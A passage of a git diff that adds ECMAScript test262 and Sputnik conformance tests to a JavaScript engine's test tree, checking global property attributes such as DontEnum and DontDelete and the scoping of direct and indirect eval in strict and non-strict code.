+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object properties have attributes { DontEnum }
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A2.2_T4.js
+ * @description Function execution context - Other Properties
+ */
+
+function test() {
+ //CHECK#1
+ for (var x in this) {
+ if ( x === 'Math' ) {
+ $ERROR("#1: 'Math' have attribute DontEnum");
+ }
+ }
+}
+
+test();
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.3_T1.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.3_T1.js
new file mode 100644
index 000000000..f7f32c563
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.3_T1.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object properties have attributes { DontEnum }
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A2.3_T1.js
+ * @description Global execution context - Value Properties
+ */
+
+var evalStr =
+'//CHECK#1\n'+
+'for (var x in this) {\n'+
+' if ( x === \'NaN\' ) {\n'+
+' $ERROR("#1: \'NaN\' have attribute DontEnum");\n'+
+' } else if ( x === \'Infinity\' ) {\n'+
+' $ERROR("#1: \'Infinity\' have attribute DontEnum");\n'+
+' } else if ( x === \'undefined\' ) {\n'+
+' $ERROR("#1: \'undefined\' have attribute DontEnum");\n'+
+' }\n'+
+'}\n';
+
+eval(evalStr);
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.3_T2.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.3_T2.js
new file mode 100644
index 000000000..8d3cfe7ee
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.3_T2.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object properties have attributes { DontEnum }
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A2.3_T2.js
+ * @description Global execution context - Function Properties
+ */
+
+var evalStr =
+'//CHECK#1\n'+
+'for (var x in this) {\n'+
+' if ( x === \'eval\' ) {\n'+
+' $ERROR("#1: \'eval\' have attribute DontEnum");\n'+
+' } else if ( x === \'parseInt\' ) {\n'+
+' $ERROR("#1: \'parseInt\' have attribute DontEnum");\n'+
+' } else if ( x === \'parseFloat\' ) {\n'+
+' $ERROR("#1: \'parseFloat\' have attribute DontEnum");\n'+
+' } else if ( x === \'isNaN\' ) {\n'+
+' $ERROR("#1: \'isNaN\' have attribute DontEnum");\n'+
+' } else if ( x === \'isFinite\' ) {\n'+
+' $ERROR("#1: \'isFinite\' have attribute DontEnum");\n'+
+' } else if ( x === \'decodeURI\' ) {\n'+
+' $ERROR("#1: \'decodeURI\' have attribute DontEnum");\n'+
+' } else if ( x === \'decodeURIComponent\' ) {\n'+
+' $ERROR("#1: \'decodeURIComponent\' have attribute DontEnum");\n'+
+' } else if ( x === \'encodeURI\' ) {\n'+
+' $ERROR("#1: \'encodeURI\' have attribute DontEnum");\n'+
+' } else if ( x === \'encodeURIComponent\' ) {\n'+
+' $ERROR("#1: \'encodeURIComponent\' have attribute DontEnum");\n'+
+' }\n'+
+'}\n';
+
+eval(evalStr);
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.3_T3.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.3_T3.js
new file mode 100644
index 000000000..9ae75beb9
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.3_T3.js
@@ -0,0 +1,48 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object properties have attributes { DontEnum }
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A2.3_T3.js
+ * @description Global execution context - Constructor Properties
+ */
+
+var evalStr =
+'//CHECK#1\n'+
+'for (var x in this) {\n'+
+' if ( x === \'Object\' ) {\n'+
+' $ERROR("#1: \'Object\' have attribute DontEnum");\n'+
+' } else if ( x === \'Function\') {\n'+
+' $ERROR("#1: \'Function\' have attribute DontEnum");\n'+
+' } else if ( x === \'String\' ) {\n'+
+' $ERROR("#1: \'String\' have attribute DontEnum");\n'+
+' } else if ( x === \'Number\' ) {\n'+
+' $ERROR("#1: \'Number\' have attribute DontEnum");\n'+
+' } else if ( x === \'Array\' ) {\n'+
+' $ERROR("#1: \'Array\' have attribute DontEnum");\n'+
+' } else if ( x === \'Boolean\' ) {\n'+
+' $ERROR("#1: \'Boolean\' have attribute DontEnum");\n'+
+' } else if ( x === \'Date\' ) {\n'+
+' $ERROR("#1: \'Date\' have attribute DontEnum");\n'+
+' } else if ( x === \'RegExp\' ) {\n'+
+' $ERROR("#1: \'RegExp\' have attribute DontEnum");\n'+
+' } else if ( x === \'Error\' ) {\n'+
+' $ERROR("#1: \'Error\' have attribute DontEnum");\n'+
+' } else if ( x === \'EvalError\' ) {\n'+
+' $ERROR("#1: \'EvalError\' have attribute DontEnum");\n'+
+' } else if ( x === \'RangeError\' ) {\n'+
+' $ERROR("#1: \'RangeError\' have attribute DontEnum");\n'+
+' } else if ( x === \'ReferenceError\' ) {\n'+
+' $ERROR("#1: \'ReferenceError\' have attribute DontEnum");\n'+
+' } else if ( x === \'SyntaxError\' ) {\n'+
+' $ERROR("#1: \'SyntaxError\' have attribute DontEnum");\n'+
+' } else if ( x === \'TypeError\' ) {\n'+
+' $ERROR("#1: \'TypeError\' have attribute DontEnum");\n'+
+' } else if ( x === \'URIError\' ) {\n'+
+' $ERROR("#1: \'URIError\' have attribute DontEnum");\n'+
+' }\n'+
+'}\n';
+
+eval(evalStr);
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.3_T4.js b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.3_T4.js
new file mode 100644
index 000000000..ed60835c9
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/S10.2.3_A2.3_T4.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global object properties have attributes { DontEnum }
+ *
+ * @path ch10/10.2/10.2.3/S10.2.3_A2.3_T4.js
+ * @description Global execution context - Other Properties
+ */
+
+var evalStr =
+'//CHECK#1\n'+
+'for (var x in this) {\n'+
+' if ( x === \'Math\' ) {\n'+
+' $ERROR("#1: \'Math\' have attribute DontEnum");\n'+
+' }\n'+
+'}\n';
+
+eval(evalStr);
+
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/browser.js b/js/src/tests/test262/ch10/10.2/10.2.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/browser.js
diff --git a/js/src/tests/test262/ch10/10.2/10.2.3/shell.js b/js/src/tests/test262/ch10/10.2/10.2.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/10.2.3/shell.js
diff --git a/js/src/tests/test262/ch10/10.2/browser.js b/js/src/tests/test262/ch10/10.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/browser.js
diff --git a/js/src/tests/test262/ch10/10.2/shell.js b/js/src/tests/test262/ch10/10.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.2/shell.js
diff --git a/js/src/tests/test262/ch10/10.4/10.4.1/S10.4.1_A1_T1.js b/js/src/tests/test262/ch10/10.4/10.4.1/S10.4.1_A1_T1.js
new file mode 100644
index 000000000..04abf8bef
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.1/S10.4.1_A1_T1.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Variable instantiation is performed using the global object as
+ * the variable object and using property attributes { DontDelete }
+ *
+ * @path ch10/10.4/10.4.1/S10.4.1_A1_T1.js
+ * @description Checking if deleting variable x, that is defined as var x = 1, fails
+ * @noStrict
+ */
+
+var x = 1;
+
+if (this.x !== 1) {
+ $ERROR("#1: variable x is a property of global object");
+}
+
+if(delete this.x !== false){
+ $ERROR("#2: variable x has property attribute DontDelete");
+}
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.1/S10.4.1_A1_T2.js b/js/src/tests/test262/ch10/10.4/10.4.1/S10.4.1_A1_T2.js
new file mode 100644
index 000000000..107381f2d
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.1/S10.4.1_A1_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Variable instantiation is performed using the global object as
+ * the variable object and using property attributes { DontDelete }
+ *
+ * @path ch10/10.4/10.4.1/S10.4.1_A1_T2.js
+ * @description Checking if deleting variable x, that is defined as x = 1, fails
+ * @noStrict
+ */
+
+x = 1;
+
+if (this.x !== 1) {
+ $ERROR("#1: variable x is a property of global object");
+}
+
+if(delete this.x !== true){
+ $ERROR("#2: variable x has property attribute DontDelete");
+}
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.1/browser.js b/js/src/tests/test262/ch10/10.4/10.4.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.1/browser.js
diff --git a/js/src/tests/test262/ch10/10.4/10.4.1/shell.js b/js/src/tests/test262/ch10/10.4/10.4.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.1/shell.js
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-1-1.js b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-1-1.js
new file mode 100644
index 000000000..233eac2c8
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-1-1.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.2/10.4.2-1-1.js
+ * @description Indirect call to eval has context set to global context
+ */
+
+var __10_4_2_1_1_1 = "str";
+function testcase() {
+ try {
+
+ var _eval = eval;
+ var __10_4_2_1_1_1 = "str1";
+ if(_eval("\'str\' === __10_4_2_1_1_1") === true && // indirect eval
+ eval("\'str1\' === __10_4_2_1_1_1") === true) { // direct eval
+ return true;
+ }
+ return false;
+ } finally {
+ delete this.__10_4_2_1_1_1;
+ }
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-1-2.js b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-1-2.js
new file mode 100644
index 000000000..7c144f552
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-1-2.js
@@ -0,0 +1,31 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.2/10.4.2-1-2.js
+ * @description Indirect call to eval has context set to global context (nested function)
+ */
+
+var __10_4_2_1_2 = "str";
+function testcase() {
+ try {
+
+ var _eval = eval;
+ var __10_4_2_1_2 = "str1";
+ function foo() {
+ var __10_4_2_1_2 = "str2";
+ if(_eval("\'str\' === __10_4_2_1_2") === true && // indirect eval
+ eval("\'str2\' === __10_4_2_1_2") === true) { // direct eval
+ return true;
+ } else {
+ return false;
+ }
+ }
+ return foo();
+ } finally {
+ delete this.__10_4_2_1_1_2;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-1-3.js b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-1-3.js
new file mode 100644
index 000000000..078ea21ab
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-1-3.js
@@ -0,0 +1,34 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.2/10.4.2-1-3.js
+ * @description Indirect call to eval has context set to global context (catch block)
+ */
+
+var __10_4_2_1_3 = "str";
+function testcase() {
+
+ try {
+
+ var _eval = eval;
+ var __10_4_2_1_3 = "str1";
+ try {
+ throw "error";
+ }
+ catch (e) {
+ var __10_4_2_1_3 = "str2";
+ if (_eval("\'str\' === __10_4_2_1_3") === true && // indirect eval
+ eval("\'str2\' === __10_4_2_1_3") === true) { // direct eval
+ return true;
+ } else {
+ return false;
+ }
+ }
+ } finally {
+ delete this.__10_4_2_1_3;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-1-4.js b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-1-4.js
new file mode 100644
index 000000000..8a025f0d9
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-1-4.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.2/10.4.2-1-4.js
+ * @description Indirect call to eval has context set to global context (with block)
+ */
+
+var __10_4_2_1_4 = "str";
+function testcase() {
+ try {
+ var o = new Object();
+ o.__10_4_2_1_4 = "str2";
+ var _eval = eval;
+ var __10_4_2_1_4 = "str1";
+ with (o) {
+ if (_eval("\'str\' === __10_4_2_1_4") === true && // indirect eval
+ eval("\'str2\' === __10_4_2_1_4") === true) { // direct eval
+ return true;
+ }
+ }
+ return false;
+ } finally {
+ delete this.__10_4_2_1_4;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-1-5.js b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-1-5.js
new file mode 100644
index 000000000..3808a9988
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-1-5.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.2/10.4.2-1-5.js
+ * @description Indirect call to eval has context set to global context (inside another eval)
+ */
+
+var __10_4_2_1_5 = "str";
+function testcase() {
+ try {
+
+ var __10_4_2_1_5 = "str1";
+ var r = eval("\
+ var _eval = eval; \
+ var __10_4_2_1_5 = \'str2\'; \
+ _eval(\"\'str\' === __10_4_2_1_5 \") && \
+ eval(\"\'str2\' === __10_4_2_1_5\")\
+ ");
+ return r;
+ } finally {
+ delete this.__10_4_2_1_5;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-2-c-1.js b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-2-c-1.js
new file mode 100644
index 000000000..61d85cec0
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-2-c-1.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.2/10.4.2-2-c-1.js
+ * @description Direct val code in non-strict mode - can instantiate variable in calling context
+ */
+
+
+function testcase() {
+ var x = 0;
+ return function inner() {
+ eval("var x = 1");
+ if (x === 1)
+ return true;
+ } ();
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-2-s.js b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-2-s.js
new file mode 100644
index 000000000..fb00b04f5
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-2-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.2/10.4.2-2-s.js
+ * @description Strict Mode - Strict mode eval code cannot instantiate functions in the variable environment of the caller to eval
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ eval("(function fun(x){ return x })(10)");
+ return typeof (fun) === "undefined";
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-3-c-1-s.js b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-3-c-1-s.js
new file mode 100644
index 000000000..57ee1912d
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-3-c-1-s.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.2/10.4.2-3-c-1-s.js
+ * @description Direct eval code in strict mode - cannot instantiate variable in the variable environment of the calling context
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ var _10_4_2_3_c_1_s = 0;
+ function _10_4_2_3_c_1_sFunc() {
+ eval("'use strict';var _10_4_2_3_c_1_s = 1");
+ return _10_4_2_3_c_1_s===0;
+ }
+ return _10_4_2_3_c_1_sFunc();
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-3-c-2-s.js b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-3-c-2-s.js
new file mode 100644
index 000000000..91caa626b
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2-3-c-2-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.2/10.4.2-3-c-2-s.js
+ * @description Calling code in strict mode - eval cannot instantiate variable in the variable environment of the calling context
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ var _10_4_2_3_c_2_s = 0;
+ function _10_4_2_3_c_2_sFunc() {
+ 'use strict';
+ eval("var _10_4_2_3_c_2_s = 1");
+ return _10_4_2_3_c_2_s===0;
+ }
+ return _10_4_2_3_c_2_sFunc();
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2.1-1gs.js b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2.1-1gs.js
new file mode 100644
index 000000000..e0d77031f
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2.1-1gs.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch10/10.4/10.4.2/10.4.2.1-1gs.js
+ * @description Strict Mode - eval code cannot instantiate variable in the variable environment of the calling context that invoked the eval if the code of the calling context is strict code
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+
+"use strict";
+eval("var x = 7;");
+x = 9;
+throw NotEarlyError;
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2.1-2-s.js b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2.1-2-s.js
new file mode 100644
index 000000000..5fc76cb35
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2.1-2-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.2/10.4.2.1-2-s.js
+ * @description Strict Mode - Strict mode eval code cannot instantiate functions in the variable environment of the caller to eval
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ eval("function _10_4_2_1_2_fun(){}");
+ return typeof _10_4_2_1_2_fun === "undefined";
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2.1-4-s.js b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2.1-4-s.js
new file mode 100644
index 000000000..89ce85399
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/10.4.2.1-4-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.2/10.4.2.1-4-s.js
+ * @description Strict Mode - Strict mode eval code cannot instantiate functions in the variable environment of the caller to eval which is contained in strict mode code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ eval("'use strict'; function _10_4_2_1_4_fun(){}");
+ return typeof _10_4_2_1_4_fun === "undefined";
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2.1_A1.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2.1_A1.js
new file mode 100644
index 000000000..3a3690ce9
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2.1_A1.js
@@ -0,0 +1,17 @@
+// Copyright 2011 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @path ch10/10.4/10.4.2/S10.4.2.1_A1.js
+ * @description Strict indirect eval should not leak top level
+ * declarations into the global scope
+ * @onlyStrict
+ */
+
+"use strict";
+if (!('foo' in this)) {
+ (1,eval)('"use strict"; var foo = 88;');
+ if ('foo' in this) {
+ $ERROR("Strict indirect eval leaked a top level declaration");
+ }
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T1.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T1.js
new file mode 100644
index 000000000..077ae7be1
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T1.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.1_T1.js
+ * @description eval within global execution context
+ */
+
+var i;
+var j;
+str1 = '';
+str2 = '';
+x = 1;
+y = 2;
+
+for(i in this){
+ str1+=i;
+}
+
+eval('for(j in this){\nstr2+=j;\n}');
+
+if(!(str1 === str2)){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T10.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T10.js
new file mode 100644
index 000000000..4903b5b3b
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T10.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.1_T10.js
+ * @description eval within global execution context
+ */
+
+var i;
+var j;
+str1 = '';
+str2 = '';
+var x = 1;
+var y = 2;
+
+for(i in this){
+ str1+=i;
+}
+
+eval('for(j in this){\nstr2+=j;\n}');
+
+if(!(str1 === str2)){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T11.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T11.js
new file mode 100644
index 000000000..fb7b1690e
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T11.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.1_T11.js
+ * @description eval within global execution context
+ */
+
+var i;
+var j;
+str1 = '';
+str2 = '';
+
+for(i in this){
+ str1+=i;
+}
+
+eval('for(j in this){\nstr2+=j;\n}');
+
+if(!(str1 === str2)){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
+this.x = 1;
+this.y = 2;
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T2.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T2.js
new file mode 100644
index 000000000..b7eb20df0
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T2.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.1_T2.js
+ * @description eval within global execution context
+ */
+
+var i;
+var j;
+str1 = '';
+str2 = '';
+
+for(i in this){
+ str1+=i;
+}
+
+eval('for(j in this){\nstr2+=j;\n}');
+
+if(!(str1 === str2)){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
+var x = 1;
+var y = 2;
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T3.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T3.js
new file mode 100644
index 000000000..3b32b2bc2
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T3.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.1_T3.js
+ * @description eval within global execution context
+ */
+
+var i;
+var j;
+str1 = '';
+str2 = '';
+this.x = 1;
+this.y = 2;
+
+for(i in this){
+ str1+=i;
+}
+
+eval('for(j in this){\nstr2+=j;\n}');
+
+if(!(str1 === str2)){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T4.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T4.js
new file mode 100644
index 000000000..c5e5d0a04
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T4.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.1_T4.js
+ * @description eval within global execution context
+ */
+
+var i;
+var j;
+str1 = '';
+str2 = '';
+x = 1;
+
+for(i in this){
+ str1+=i;
+}
+
+eval('for(j in this){\nstr2+=j;\n}');
+
+if(!(str1 === str2)){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
+y = 2;
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T5.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T5.js
new file mode 100644
